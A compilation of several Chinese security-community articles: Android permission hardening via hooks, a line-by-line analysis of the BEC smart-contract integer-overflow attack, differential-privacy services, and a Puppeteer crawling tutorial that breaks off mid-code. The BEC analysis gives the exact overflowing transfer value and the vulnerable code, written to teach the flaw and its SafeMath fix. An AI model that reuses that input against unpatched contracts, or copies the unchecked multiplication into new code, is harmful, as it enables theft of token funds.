从目前的安全威胁情况可以得知，网络安全的战线已从传统的电脑平台转向移动智能终端，未来的网络攻防安全必将围绕各种类型的移动智能终端展开，而攻击形式也将由传统电脑平台上的病毒变为短信诈骗、话费窃取、捆绑后门植入等多种方式。在这种情况下，很多传统电脑的安全防护手段并不能完美地应用到Android智能终端设备上，因此，引入全新的、行之有效的安全方案是非常有必要的。Android智能终端设备有一个缺点，即它的权限机制是粗粒度、高开放性的，这极易泄露使用者的隐私信息。基于此，提出一个扩展性强的Android智能终端安全加固方案，它具有广阔的前景和深远的意义。
**研究内容**
1.Android安全加固技术研究
研究得知目前针对Android智能终端操作系统的安全加固技术大致分为三种，分别是基于软件框架层的安全增强、基于内核层的安全加固和基于虚拟化的安全增强技术，详细如下。
1.1.基于软件框架层的安全增强
基于软件框架层的安全增强工作目前的研究成果最多。Android操作系统中Package Manager
Service可以管控应用程序的安装、升级、卸载和维护；Activity Manager
Service可以管控应用活动的生命周期等等。在应用软件框架层做安全工作可保障对系统资源的访问控制功能的安全性。
基于软件框架层的安全增强项目进展如下。Kirin对应用初始安装的权限进行限制，Saint、XManDroid、Trust-Droid和FlaskDroid主要保证应用通信的安全，IPC
Inspection和Quire通过监控intent来抵抗提权攻击，TaintDroid和AppFence监控并保护应用中存储的隐私数据，APEX和CRePE提供细粒度的权限分配方案，TISSA、MockDroid和AppFence都提供了默认返回值以解决随时发生的程序崩溃问题。这些项目方案中都有很多类似的钩子函数调用行为。
1.2.基于内核层的安全加固
Android操作系统的底层是采用Linux内核作为核心的，其很多安全加固方案也可以在底层来部署实施。例如，可以在Linux Security
Modules 的基础上，在很多关键的敏感执行路径中放置钩子函数，通过实施对应的安全策略来保证系统的安全性。
SELinux 是基于内核层的一个安全加固应用，已被融入到 Android Open Source Project 中。 SELinux
基于域类型，实现了按角色访问的机制。在系统运行中，通过安全语义的管理方式对获取系统或设备资源的用户进程增加访问控制策略，保证其安全性。这是一种强制访问控制策略，对于端口、文件等资源的访问是非常明确彻底的，这也对提升权限的攻击起到了有效的防护效果。但是，普通用户拥有少量权限，这样应用的扩展性就会受到限制；而且SELinux
的权限有100多个，功能错综复杂，配置难度很大。
1.3.基于虚拟化的安全增强
虚拟化技术曾用于解决研发硬件过程的成本高、难度大等问题，但因为其能对资源进行分级分类的控制，从而在Android智能终端加固方面发挥应用。L4Android是虚拟化技术的一个产物，它在L4Linux技术的基础上将Android智能终端的资源分为公私两部分，从而实现了同时运行多个应用活动的功能。但是，它在增加存储量的同时，影响了Android智能终端的性能，降低了Android系统的运行效率。
2.Android安全加固系统的研究与设计
主要研究内容是研发一种基于软件框架层和内核层的Android系统的安全加固方案，通过它能够实时保障Android智能终端隐私信息的安全。主要工作是下载并编译Android+ASM源码，安装Android监控模块，从内核层面加强安全性；开发安全过滤功能，从而能够对监控到的应用事件进行判断和处理，并提示用户恶意应用的信息，帮助使用者了解恶意应用的详细情况。
Android安全加固系统能对Android移动终端进行多方位的安全加固。根据对手机安全事件的调查分析，团队发现摄像头、剪贴板、联系人和Service这四部分引发的安全问题较多，因此针对这些问题提出了安全加固的研究与设计方案。
2.1.摄像头安全加固模块的研究与设计
近几年在黑客大会上常有Android智能终端摄像头的非法开启技术。摄像头可以最直接地显示使用者的当前状态，最有效地让攻击者获取到真实的信息，如果这些信息被泄露，会侵犯用户的肖像权，使得用户经常受垃圾信息的困扰，甚至会造成生命威胁。因此，如何有效地对摄像头进行安全加固是一个亟待解决的问题。
本节提出了一个Android智能终端上的摄像头安全加固模块。它首先通过使用Android监控模块来实时监控拥有开启摄像头的测试应用的行为活动信息，然后通过安全过滤机制检测并处理这些行为活动信息。此安全过滤机制通过应用的唯一标识符Uid确定了安全白名单，并增加提示信息和处理方式，通过它来判断测试应用的合法性，做出合理的安全加固决策。
摄像头安全加固模块的详细执行流程如图2-1所示。第一步是安装Android第三方监控模块，通过它来做后续的监控工作。第二步是设计实现一个具备处理监控行为信息功能的ASM应用程序，并申请android.permission.GLOBAL_ASM、android.permission.GLOBAL_ASM_DATA_MOD和android.permission.RECEIVE
_BOOT_COMPLETED权限，这些权限可以保证监控功能的正常调用。最后在其MainActivity.xml的显示界面中点击【Start】按钮，此时会注册摄像头的钩子Hook.HOOK_CAMERA。
上述工作完成后，摄像头安全加固系统进入等待状态。此时运行拥有开启摄像头功能的测试应用。开启摄像头后，钩子Hook.HOOK_CAMERA会将此应用的行为事件发送至回调处理函数camera(int
uid, String
packageName)中，在这里设置安全过滤机制。经判断，如果测试应用的Uid（应用的唯一标识）在白名单中出现，则允许其继续运行，否则出现外部应用开启摄像头的提示信息，并强制停止测试应用运行。
2.2.剪贴板安全加固模块的研究与设计
用户设置的各种账户密码都比较复杂，在登录账户时，常通过复制粘贴的方式输入密码，这在Android手机登录账户中尤为常见。这样会使得密码短时间存储在了剪贴板中，如果剪贴板的信息被获取，等于直接告诉别人账户密码；且用户往往会在多个地方使用同一个密码，会进一步恶化情况。解决这些问题的关键方法就是杜绝剪贴板的信息被泄露，只要能保证剪贴板的信息不被恶意应用获取到安全性会得到有效的提升。基于此，本节设计了一个剪贴板安全加固模块。
此剪贴板安全加固模块通过Android监控模块监控拥有获取剪贴板内容功能的测试应用的行为活动信息，并通过设计的安全过滤机制判断测试应用的合规性，做出合理的安全加固决策。
安全加固模块的设计流程如图2-2所示。首先安装Android监控模块。再开发一个拥有监控事件处理功能的ASM应用程序，并申请android.permission.GLOBAL_ASM、android.permission.GLOBAL_ASM
_DATA_
MOD和android.permission.RECEIVE_BOOT_COMPLETED权限，并在MainActivity.xml中的显示界面点击【Start】按钮，此时会注册剪贴板的钩子Hook.HOOK_WRITE_CLIPBOARD和Hook.HOOK_READ_CLIPBOARD。
上述工作完成后，剪贴板安全加固系统进入等待状态。此时运行测试应用，它会读取或修改剪贴板的信息，钩子Hook.HOOK_WRITE_CLIPBOARD和Hook.HOOK_READ_CLIPBOARD会将此应用事件发送至回调处理函数writeClipboard(int
uid, String packageName)和readClipboard(int uid, String
packageName)中，在这里设置了黑白名单的安全过滤机制。如果测试应用的Uid在白名单中，则允许继续运行，否则提示安全信息并强制停止测试应用运行。
代码及相关工具和包链接：<https://github.com/HYWZ36/ASM_Android_Security_Model> | 社区文章 |
# 通俗易懂谈BEC智能合约致命漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 安全事件
最近，智能合约漏洞很火。
让我们再来看一下4月22日BeautyChain（BEC）的智能合约中一个毁灭性的漏洞。
**BeautyChain** **团队宣布，BEC代币在4月22日出现异常。攻击者通过智能合约漏洞成功转账了10^58 BEC到两个指定的地址。**
具体交易详情[https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f](https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f)
攻击者到底是怎么攻击的？为什么能转账这么大的BEC？
* * *
****
## 智能合约代码
**首先我们来看BEC转账的智能合约代码**
**function batchTransfer(address[] _receivers, uint256 _value) public
whenNotPaused returns (bool) {**
**uint cnt = _receivers.length;**
**uint256 amount = uint256(cnt) * _value;**
**require(cnt > 0 && cnt <= 20);**
**require(_value > 0 && balances[msg.sender] >= amount);**
****
**balances[msg.sender] = balances[msg.sender].sub(amount);**
**for (uint i = 0; i < cnt; i++) {**
**balances[_receivers[i]] = balances[_receivers[i]].add(_value);**
**Transfer(msg.sender, _receivers[i], _value);**
**}**
**return true;**
**}**
以上的代码是[Solidity语言](http://solidity-cn.readthedocs.io/zh/develop/index.html)，是一门面向合约的，为实现智能合约而创建的高级编程语言。
****
## 变量类型
在读代码之前我们先来简单了解一下以下几个变量类型( **Solidity** ):
**address**
**160** **位的值，且不允许任何算数操作。**
* * *
**uint 8**
8位无符号整数，范围是0到2^8减1 **(0-255)**
* * *
**uint256**
256位无符号整数，范围是0到2^256减1
**(0-115792089237316195423570985008687907853269984665640564039457584007913129639935)**
**敲黑板，玩手机的同学注意看这里，这里是考试重点哦**
那么，我们请看如下神奇的化学反应
**定义变量uint a**
a的取值范围是0到255
**_当a=255，我们对a加 1，a会变成 0。
当a=255，我们对a加 2，a会变成 1。
当a=0，我们对a减 1，a会变成 255。
当a=0，我们对a减 2，a会变成 255。_**
**a** **的值超过了它实际的取值范围，然后会得出后面的值，这种情况叫溢出。**
* * *
****
## 代码解读
**知道了这几个变量类型，下面我们一行一行的来读这段代码。**
**第一行**
**function batchTransfer(address[] _receivers, uint256 _value) public
whenNotPaused returns (bool)**
**函数有两个参数:**
* _receivers —————转账接收人，address类型的变量数组，是一个160位的值。
* _value ———————-转账数量，uint256的状态变量，256位的无符号整数。
定义函数batchTransfer，功能主要是实现转账，接收两个参数，定义了参数的取值范围。
**第二行**
uint cnt = _receivers.length;
计算接收人地址对应地址数组的长度，即转账给多少人。
**第三行**
uint256 amount = uint256(cnt) * _value;
把unit类型的cnt参数值强制转换为uint256然后乘以转账数量_value 并赋值给uint256类型的amount变量。
**第四行**
require(cnt > 0 && cnt <= 20);
**require** **函数**
require的入参判定为 **false** **，** 则终止函数，恢复所有对状态和以太币账户的变动，并且也不会消耗 gas 。
判断cnt是否大于0且cnt是否小于等于20
**第五行**
require(_value > 0 && balances[msg.sender] >= amount);
**参数解读:**
* _value—————————————转账数量
* balances[msg.sender]————-转账人余额
* amount————————————转账总数量
判断_value是否大于0且转账人的余额balances[msg.sender]大于等于转账总金额amount
**第六行**
balances[msg.sender] = balances[msg.sender].sub(amount);
计算转账人的余额，使用当前余额balances[msg.sender]减去转账总数量
**第七行**
for (uint i = 0; i < cnt; i++) {
这里是一个循环，循环次数为cnt（遍历转账地址）
**第八行**
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
当i有具体的值时，balances[_receivers[i]]表示转账接收人，这里是表示转账人给转账接收人_value数量的币。
**第九行**
Transfer(msg.sender, _receivers[i], _value);
保存转账记录
**第十行**
return true;
函数返回为True
* * *
****
## 代码流程
**OK** **，我们读了完整的代码，接下来请看一个流程图**
函数的流程是这样，那么攻击者到底是怎么攻击的呢？他为什么这么秀？同样都是九年义务教育……
****
## 攻击过程
其实，他只是细心了一点，所使用的攻击方法并不高明啊， **你且听我慢慢道来，注意看，别走神啊。**
****
### **交易详情**
我们首先看这笔详细的交易：
**好了，我们从图可以看到**
转账接收人有两个地址，即balances[_receivers]:
000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7
转账数量为_value:
8000000000000000000000000000000000000000000000000000000000000000（十六进制）
转10进制为
57896044618658097711785492504343953926634992332820282019728792003956564819968
* * *
****
### **实战**
OK，接下来我们来走函数流程
**第一行**
function batchTransfer(address[] _receivers, uint256 _value) public
whenNotPaused returns (bool)
正常执行
**第二行**
uint cnt = _receivers.length
由于这里有两个转账接收人地址，address数组长度为2，所以cnt为2，类型为uint
**第三行**
uint256 amount = uint256(cnt) * _value;
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968
cnt=2
**两者相乘得到amount，类型为uint256**
即amount=115792089237316195423570985008687907853269984665640564039457584007913129639936
* * *
**考试重点用上了，记不住的同学去前面看看。**
amount的类型为uint256，那么按照理论，它的最大取值是0到2^256减1，即
**115792089237316195423570985008687907853269984665640564039457584007913129639935**
**所以！！！**
**amount**
**瞬间从115792089237316195423570985008687907853269984665640564039457584007913129639936变成了0**
第三行得到的结果：amount=0
**第四行**
require(cnt > 0 && cnt <= 20);
cnt=2，2肯定大于0，2当然也小于等于20
**所以这个条件成立，require函数返回值为True。**
**第五行**
require(_value > 0 && balances[msg.sender] >= amount);
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968
_value肯定是大于0，转账人的余额balances[msg.sender]肯定是大于等于0的。
**所以这个条件同样成立，require函数返回值为True。**
**第六行**
balances[msg.sender] = balances[msg.sender].sub(amount);
前面的条件都成立，那么代码会执行到这。
这行代码是求转账人转完账以后剩下的余额，amount为0 ， **那么转账人的余额其实没变！！！**
**第七行**
for (uint i = 0; i < cnt; i++)
cnt=2，该行代码表示执行两次后面的操作
**第八行**
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
i=0时，转账接收人balances[_receivers[0]]的余额加_value
i=1时，转账接收人balances[_receivers[1]]的余额加_value
看到这里其实我们就很明白了吧。
攻击者给以下两个转账接收人
**000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033**
**0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7**
**转了
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968个币**
更可恶的是，攻击者执行完这个操作，转账人的余额根本没变，看代码第六行的执行结果。
**第九行**
Transfer(msg.sender, _receivers[i], _value);
这里只是把上面两个转账记录保存。
**第十行**
return true;
函数返回为True
* * *
****
## 小结
**千里之堤毁于蚁穴！**
就一个溢出漏洞，导致BEC的市值瞬间变0
这么傻的问题，写代码的人是写睡着了吗？？？
不，其实他根本没睡着啊，人家还用了SafeMath里的add函数和sub函数
**我们看看什么是[ SafeMath](https://ethereumdev.io/safemath-protect-overflows/)函数**
**/****
*** @title SafeMath**
*** @dev Math operations with safety checks that throw on error**
***/**
**library SafeMath {**
**function mul(uint256 a, uint256 b) internal constant returns (uint256) {**
**uint256 c = a * b;**
**assert(a == 0 || c / a == b);**
**return c;**
**}**
**function div(uint256 a, uint256 b) internal constant returns (uint256) {**
**// assert(b > 0); // Solidity automatically throws when dividing by 0**
**uint256 c = a / b;**
**// assert(a == b * c + a % b); // There is no case in which this doesn’t
hold**
**return c;**
**}**
****
**function sub(uint256 a, uint256 b) internal constant returns (uint256) {**
**assert(b <= a);**
**return a – b;**
**}**
****
**function add(uint256 a, uint256 b) internal constant returns (uint256) {**
**uint256 c = a + b;**
**assert(c >= a);**
**return c;**
**}**
**}**
注意看这一段
**function mul(uint256 a, uint256 b) internal constant returns (uint256) {**
**uint256 c = a * b;**
**assert(a == 0 || c / a == b);**
**return c;**
**}**
这里是乘法计算，计算出乘法的结果后会用assert函数去验证结果是否正确。
* * *
**回到我们前面的dis第三行代码执行后的结果**
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968
cnt=2
**两者相乘得到amount，类型为uint256**
由于 **溢出** ，amount=0
赋值给mul函数即
c=amount，而amount=0，则c=0
a=cnt, 而cnt=2，则a=2
b=_value
得出
b=57896044618658097711785492504343953926634992332820282019728792003956564819968
那么c/a==b这个式子不成立，导致assert函数执行会报错，assert报错，那么就不会执行后面的代码，也就不会发生溢出。
**也就是说，写这段代码的人，加减法他用了SafeMath里面的add函数和sub函数，但是却没有用里面的乘法函数mul**
* * *
****
### 如何防止这样的漏洞？
* 肯定是要用SafeMath函数啊，你加减法用了，乘法不用，你咋这么皮呢
* 代码上线前要做代码审计啊亲，强调多少遍了！
* 合理使用变量类型，了解清楚变量的范围
* 一定要考虑到溢出！一定要考虑到溢出！一定要考虑到溢出！重要的事情说三遍。
* * *
**写这么通俗易懂，你应该看懂了吧？？看懂了就给点个赞呗！**
****
## 参考
[https://medium.com/secbit-media/a-disastrous-vulnerability-found-in-smart-contracts-of-beautychain-bec-dbf24ddbc30e](https://medium.com/secbit-media/a-disastrous-vulnerability-found-in-smart-contracts-of-beautychain-bec-dbf24ddbc30e)
[https://solidity-cn.readthedocs.io](https://solidity-cn.readthedocs.io/)
## | 社区文章 |
# 差分隐私技术在用户隐私保障中的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
### 1.1 隐私泄漏场景
随着用户自身隐私保护意识的提升和《数据安全法》、《个人信息保护法》等国家法律法规的陆续施行，如何在收集、使用用户数据的过程中保障用户的隐私安全、满足监管要求，成为了挑战性的问题。在互联网厂商的日常业务中，常见的用户隐私泄露场景有：
1. 1、数据统计查询：对用户数据进行统计查询的结果直接向客户返回（如客群洞察等业务），存在通过差分攻击从统计结果中获取个体信息的可能性。
* · 例如，某互联网公司为外部客户提供客群画像服务，客户分别查询群体A和群体B（群体B与群体A相比，仅多出一名用户甲）的居住地分布，如果第二次查询结果中居住在南京鼓楼的人数比第一次报告中多1，那么可以推断出甲的居住地在南京鼓楼，泄露了甲的隐私信息。
1. 2、用户数据采集：手机APP、移动终端通常会采集多种用户信息（如地理位置，健康状态等）以提升服务质量和用户体验。然而，直接采集可能会导致用户隐私的泄露，同时也受到法律法规的严格限制。
* · 例如，用户甲在某专科医院看病时打开了位置定位，互联网厂商通过收集用户甲的地理位置，可能会推断出用户甲患有某种疾病，从而造成用户甲的隐私泄露。
因此，对于广大互联网厂商来说，研发高质量的隐私保护服务，以解决统计发布、数据采集等场景中的用户隐私泄露问题，同时保证数据的可用性，从而满足监管要求，为业务赋能，成为了重要的工作。
### 1.2 去标识化与差分隐私
传统的隐私保护手段往往通过解耦、泛化等方法去除用户记录的标识符信息（如姓名、身份证号、设备ID等），或通过匿名化技术（如K-匿名、L-多样性等）对用户记录的准标识符（如街道、邮编等）进行泛化、压缩，使得攻击者无法直接或间接地把处理过的数据与用户准确地重新关联。然而，传统方法的安全性与攻击者所掌握的背景知识密切相关，并且难以对隐私保护水平进行定量分析。例如上文中的查询场景，由于攻击者有背景知识存在（知道员工甲是否在查询范围中），传统的匿名化方法无法起到预期的作用。
为解决这些问题， **差分隐私（Differential Privacy，简称DP）**
[1]技术应运而生。该技术提供了一种严格、可证明的隐私保护手段，且其保护强度不依赖于攻击者所掌握的背景知识。由于这些特点，差分隐私一经提出便得到了学术界和工业界的广泛认可和应用。特别地，差分隐私的通用定义为：
则称算法 M 提供 ε —DP，其中 S 是由算法 M 所有可能的输出构成的集合，参数 ε 称为隐私预算。通过调整隐私预算 ε
的取值，可以控制差分隐私保护的程度。ε
越小，添加或删除一条记录对结果的影响程度越小，隐私保护强度也就越大，计算结果的可用性越低，反之亦然。因此，在实际应用中，根据不同场景和需求，设定合理的 ε
取值以达到隐私保护和数据可用性之间的平衡，是差分隐私技术应用的关键问题之一。
### 1.3 基于差分隐私的保护服务
为了解决查询统计以及用户数据采集场景中隐私泄露问题，火山引擎安全研究团队基于差分隐私技术，依托自研的Jeddak数据安全隐私计算平台，分别研发了面向查询保护的DPSQL服务（Differentially
Private SQL Query Service）以及面向采集保护LDPDC服务（Locally Differentially Private Data
Collection Service），在保障查询和采集过程中用户隐私的基础上，实现了数据的高可用目标。以下分别对两个服务进行介绍。
## 二、 DPSQL查询保护服务
DPSQL采用 **中心化差分隐私（Centralized Differential Privacy，简称CDP，适用于数据管理者可信的场景**
）[1]模式，以中间件的形式接收SQL统计查询请求，返回满足差分隐私的查询结果。由于现实场景中查询请求的多样性，DPSQL服务构建面临以下关键挑战：
如何兼容不同类型数据库的查询方言，以降低使用成本、保障客户的查询体验？
如何在复杂SQL语句情况下计算合适的差分隐私噪声，兼顾隐私保护效果与保证数据效用？
以下将从服务架构和关键设计两个方面阐述DPSQL的应对措施，并对落地应用进行简要介绍。
### 2.1 服务架构
DPSQL服务包含三个组件：
DPSQL核心服务：以原始SQL统计查询语句作为输入，输出满足差分隐私的结果，其中包括SQL 解析与重写、差分隐私加噪等模块；
元数据管理服务：维护数据库的元数据及数据表属性特征，以便于对数据表属性进行敏感度分析；
隐私预算管理服务：维护每个数据表的隐私预算分配与消耗记录，提供隐私预算余量查询、报表和审计功能，以便于对查询请求进行隐私控制。
一个典型的查询请求处理流程如下：
* * **·** 首先，核心服务接受客户提交的SQL查询语句，对该语句进行解析和重写，以便于计算隐私噪声(如将AVG计算改为SUM/COUNT）；
* * **·** 然后，核心服务调用元数据管理服务，计算重写后的SQL查询所对应的数据表敏感度，同时在数据库上执行重写后的SQL查询，得到原始的查询结果；
* * **·** 最后，核心服务调用隐私预算管理服务得到为该查询分配的隐私预算，并结合敏感度在原始的查询结果中添加噪声并返回。
### 2.2 关键设计
针对前文所述SQL方言兼容以及查询噪声计算的挑战，团队在DPSQL中实现了多源异构的SQL解析与重写机制，以及自适应的差分隐私加噪机制。
**2.2.1 多源异构数据库SQL解析与重写机制**
* * **·** 采用灵活可扩展的SQL解析机制（parser），可支持多种SQL方言，与传统数据库查询无差别。
* * **·** 采用定制化的SQL重写机制(rewriter），可支持多种语法特征，例如聚合函数、多层子查询、join、group by等。
2.2.2 自适应的差分隐私加噪机制
* * **·** 根据SQL查询包含的聚合函数类型，自适应地为查询分配隐私预算，降低隐私预算的消耗；
* * **·** 根据SQL查询的聚合函数类型，高效分析聚合函数在多表链接查询、多层子查询等场景下的敏感度，分配合适的差分隐私加噪算法，提高服务性能和查询结果的可用性。
### 2.3 落地应用
目前，DPSQL服务已接入火山引擎的客户数据平台，为银行、车企、零售等行业多家客户提供隐私保护的用户群体洞察服务。凭借在隐私保护和业务合规等方面的出色表现，DPSQL服务成功入选国内第一个隐私计算开放社区——开放隐私计算OpenMPC发布的“隐私计算2021年度优秀应用案例TOP10”。
## 三、LDPDC采集保护服务
LDPDC服务以 **本地化差分隐私（Local Differential Privacy)[2]为核心技术** ，为用户提供端上的LDP-SDK，实现端上的数据的扰动处理。同时，配套提供了服务端的计算服务，对LDP-SDK采集的数据进行汇总分析。同样地，LDPDC面临以下挑战：
如何在满足用户个性化隐私保护需求的同时，降低通信开销？
如何针对分析任务，降低采集数据中的噪声，提高数据可用性？
同样的，以下从服务架构和关键设计两个方面阐述LDPDC的应对措施，并对落地应用进行简要介绍。
### 3.1 服务架构
LDPDC服务两个模块构成：
1）客户端：内置LDP-SDK，包含个性化的扰动机制，用以接受用户个性化的隐私保护需求设置，并据此对用户数据进行扰动处理，从而为用户提供差分隐私保护；
2）服务端：收集汇总客户端传输的数据，提供定制化的降噪聚合机制，用于对汇总的数据进行降噪聚合处理，提高数据可用性。处理后的数据可应用于推荐系统、统计查询、机器学习等数据分析服务；
### 3.2 关键设计
针对端上扰动和汇聚噪声降低的挑战，LDPDC设计了个性化的扰动机制和定制化的降噪聚合机制。
**3.2.1 个性化的扰动机制**
* **·** 为用户提供隐私保护强度配置选项（低、中、高三挡），满足用户对自身数据的个性化隐私保护需求。
* **·** 提供高效的数据压缩和交互机制（如GRR机制、OLH机制等），减少客户端与服务端之间的信息传输量和交互次数，降低通信开销。
**3.2.2 定制化的降噪聚合机制**
* **·** 针对不同类型的个人数据，使用定制化的降噪聚合机制，以保证所收集到数据的高效用。
* **·** 提供无偏性处理机制，使得加噪聚合后的统计信息理论上等于真实数据的统计信息。
* **·** 提供一致性处理机制，使得聚合后的统计信息能够与公开的背景知识保持一致，如将小于0的频数置为0等。
### 3.3 落地应用
目前，LDPDC服务将开始在地理位置采集等服务中进行应用，辅助业务部门对于用户信息采集进行合规治理，为广告推荐等服务提供策略支持。
## 四、结语
DPSQL服务和LDPDC服务是差分隐私技术在火山引擎实际应用场景中的成功实践。未来，差分隐私相关服务将出现在火山引擎云安全系列产品矩阵中，服务于火山云客户。
火山引擎安全研究团队将继续探索业务场景，深入挖掘用户数据隐私保护需求，研究前沿隐私保护技术的落地应用，为用户的数据隐私安全提供强力保障。
引用文献
> [1] Dwork C., Mcsherry F., Nissim K., et al.
> Calibrating Noise to Sensitivity in Private Data Analysis [A]. Theory of
> Cryptography, Third Theory of Cryptography Conference, TCC 2006, New York,
> NY,
> USA, March 4-7, 2006, Proceedings: 265–284.
> [2] Kasiviswanathan S.P., Lee H.K., Nissim K., et
> al. What Can We Learn Privately? [A]. 49th Annual IEEE Symposium on
> Foundations
> of Computer Science, FOCS 2008, October 25-28, 2008, Philadelphia, PA, USA:
> 531–540. | 社区文章 |
# 爬虫新趋势之headless chrome
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
网络上的资源对我们来说都是公开的，为了获取及整合网络上的各种资源，网络爬虫也就应运而生。现在爬虫的工具，方法及各种语言的库越来越多，在爬虫与反爬虫中也是在斗智斗勇当中。我们这篇文章主要介绍下Headless
Chrome在爬虫方面的应用，在Headless Chrome开放之后，PhantomJS 的开发者 Vitaly Slobodin都放弃了维护。
## 0x02 headless chrome
### 1.介绍
headless
chrome，相对于传统的chrome浏览器，是可以在服务器环境用命令行操作浏览器的工具，包括加载网页，提取元数据（例如DOM）和从页面内容生成位图
，使用Chromium和Blink提供的所有现代Web平台功能。对于爬虫编写以及web自动化测试都有很大的作用。
### 2.安装
这里只介绍了在linux下的安装，其他平台安装方式的见[这里](https://chromium.woolyss.com/#linux)。以下测试结果都是在kali下完成的。
debian 安装方式：
sudo apt-get update
sudo apt-get install chromium chromium-l10n
测试运行：
chromium --headless https://www.anquanke.com
报错：
Running as root without --no-sandbox is not supported
解决方案：
which chromium
nano /usr/bin/chromium
找到exec $LIBDIR/$APPNAME $CHROMIUM_FLAGS "$@"在后面添加参数： --user-data-dir --no-sandbox --disable-gpu
测试结果：
这样就表示headless chrome 环境已经配好了，看下帮助信息：
chromium [-h|--help] [-g|--debug] [--temp-profile] [options] [URL]
-g or --debug Start within /usr/bin/gdb
-h or --help This help screen
--temp-profile Start with a new and temporary profile
--enable-remote-extensions Allow extensions from remote sites
Other supported options are:
Chromium has hundreds of undocumented command-line flags that are added
and removed at the whim of the developers. Here, we document rela‐
tively stable flags.
-h or --help
Show help output.
-g or --debug
Start a debugging session within /usr/bin/gdb.
--temp-profile
Use a throw-away/temporary profile for this session.
--enable-remote-extensions
Allow installation and updates of remote extensions.
--user-data-dir=DIR
Specifies the directory that user data (your "profile") is kept
in. Defaults to ~/.config/chromium . Separate instances of
Chromium must use separate user data directories; repeated invo‐
cations of chromium-browser will reuse an existing process for a
given user data directory.
--app=URL
Runs URL in "app mode": with no browser toolbars.
--incognito
Open in incognito mode.
--new-window
If PATH or URL is given, open it in a new window.
--proxy-server=host:port
Specify the HTTP/SOCKS4/SOCKS5 proxy server to use for requests.
This overrides any environment variables or settings picked via
the options dialog. An individual proxy server is specified
using the format:
[<proxy-scheme>://]<proxy-host>[:<proxy-port>]
Where <proxy-scheme> is the protocol of the proxy server, and is
one of:
"http", "socks", "socks4", "socks5".
If the <proxy-scheme> is omitted, it defaults to "http". Also
note that "socks" is equivalent to "socks5".
Examples:
--proxy-server="foopy:99"
Use the HTTP proxy "foopy:99" to load all URLs.
--proxy-server="socks://foobar:1080"
Use the SOCKS v5 proxy "foobar:1080" to load all URLs.
--proxy-server="socks4://foobar:1080"
Use the SOCKS v4 proxy "foobar:1080" to load all URLs.
--proxy-server="socks5://foobar:66"
Use the SOCKS v5 proxy "foobar:66" to load all URLs.
It is also possible to specify a separate proxy server for dif‐
ferent URL types, by prefixing the proxy server specifier with a
URL specifier:
Example:
--proxy-server="https=proxy1:80;http=socks4://baz:1080"
Load https://* URLs using the HTTP proxy "proxy1:80". And
load http://*
URLs using the SOCKS v4 proxy "baz:1080".
--no-proxy-server
Disables the proxy server. Overrides any environment variables
or settings picked via the options dialog.
--proxy-auto-detect
Autodetect proxy configuration. Overrides any environment vari‐
ables or settings picked via the options dialog.
--proxy-pac-url=URL
Specify proxy autoconfiguration URL. Overrides any environment
variables or settings picked via the options dialog.
--password-store=<basic|gnome|kwallet>
Set the password store to use. The default is to automatically
detect based on the desktop environment. basic selects the
built in, unencrypted password store. gnome selects Gnome
keyring. kwallet selects (KDE) KWallet. (Note that KWallet may
not work reliably outside KDE.)
--version
Show version information.
As a GTK+ app, Chromium also obeys GTK+ command-line flags, such as
--display. See the GTK documentation for more:
<http://library.gnome.org/devel/gtk/stable/gtk-running.html>
<http://library.gnome.org/devel/gtk/stable/gtk-x11.html>
See 'man chromium' for more details
参数很多，举几个小例子：
#监听端口：
chromium --headless --remote-debugging-port=9222 https://www.anquanke.com/
然后访问http://localhost:9222
#获取网页源码
chromium --headless --dump-dom https://www.anquanke.com/
#获取网页转换成PDF
chromium --headless --print-to-pdf https://www.anquanke.com/
#截图
chromium --headless --screenshot --window-size=1280,1696 https://www.anquanke.com/
### 3.使用
与这个API相关的python 库有：
1.[pychrome](https://github.com/fate0/pychrome)
2.[Pyppeteer](https://github.com/miyakogi/pyppeteer)
3.[chromote](https://github.com/iiSeymour/chromote)
4.[PyChromeDevTools](https://github.com/marty90/PyChromeDevTools)
更多其他语言库见[这里](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)。我这里就使用[puppeteer](https://github.com/GoogleChrome/puppeteer)
来调用Headless Chrome API，来对玄武实验室的每日推送做一个抓取(其实开始准备用python的，但是python的库是真的不好用！)。
npm i --save puppeteer #安装
Caution: Puppeteer requires at least Node v6.4.0, but the examples below use async/await which is only supported in Node v7.6.0 or greater.
README当中有提示要 Node v7.6.0
+，因为大量使用了async/await，所以运行以下的测试代码，会在当前目录下产生一个名为screen.png的截图文件，就表示环境正常了。：
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox']});
const page = await browser.newPage();
await page.goto('https://www.anquanke.com');
await page.screenshot({path: 'screen.png'});
await browser.close();
})();
开始爬取内容：
1.先获取当天的推送内容条数，每条内容当中都是有category，代表属于哪个方面的内容，所以我们就以这个标签来获取当天的内容总数 。
let eleCount = await page.evaluate((sel) => {
return document.getElementsByClassName(sel).length;
}, 'category');
2.遍历<p>标签，获取内容。
let htmlArray = await page.evaluate((sel, eleCount) => {
let element = document.querySelectorAll(sel);
let htmlArray = [];
for(let i = 0; i <= eleCount; i++){
htmlArray[i] = element[i].innerText;
}
htmlArray.shift();
return htmlArray;
}, 'p', eleCount);
完整源代码(这里只爬取了一天，你可以写个循环，把过去到现在为止的内容都爬下来，可以方便自己搜索想要的内容。)：
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox']});
const page = await browser.newPage();
await page.goto('https://xuanwulab.github.io/cn/secnews/2018/03/30/index.html');
//count
